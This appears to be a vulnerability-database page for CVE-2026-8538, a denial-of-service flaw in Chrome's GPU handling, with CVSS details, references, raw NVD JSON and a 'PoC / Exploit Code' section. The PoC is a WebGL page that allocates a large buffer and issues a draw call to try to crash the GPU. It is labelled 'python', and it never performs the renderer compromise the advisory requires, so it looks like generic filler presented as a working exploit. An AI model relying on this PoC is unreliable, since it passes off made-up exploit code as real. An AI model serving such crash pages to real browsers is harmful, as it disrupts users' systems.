CVE-2026-8538

Description

Insufficient validation of untrusted input in GPU in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform a denial of service via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8538 -->
<!-- This HTML page attempts to trigger a GPU crash -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8538 PoC</title>
</head>
<body>
    <h1>Testing GPU Input Validation</h1>
    <canvas id="glCanvas"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');
        
        if (!gl) {
            console.log("WebGL not supported");
        } else {
            try {
                // Attempt to trigger vulnerability via malformed buffer data
                const buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                
                // Create a large buffer to potentially overflow or crash GPU
                const data = new Float32Array(0xFFFFF);
                gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
                
                // Force GPU draw call
                gl.drawArrays(gl.TRIANGLES, 0, 0xFFFFF);
                console.log("PoC executed. Check if browser crashed.");
            } catch (e) {
                console.log("Exception occurred: " + e.message);
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8538
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8538
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8538/
[4] VulDB https://vuldb.com/cve/CVE-2026-8538
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/496415073

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8538", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:14.650", "lastModified": "2026-05-14T22:16:47.840", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in GPU in Google Chrome prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to perform a denial of service via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496415073", "source": "[email protected]"}]}}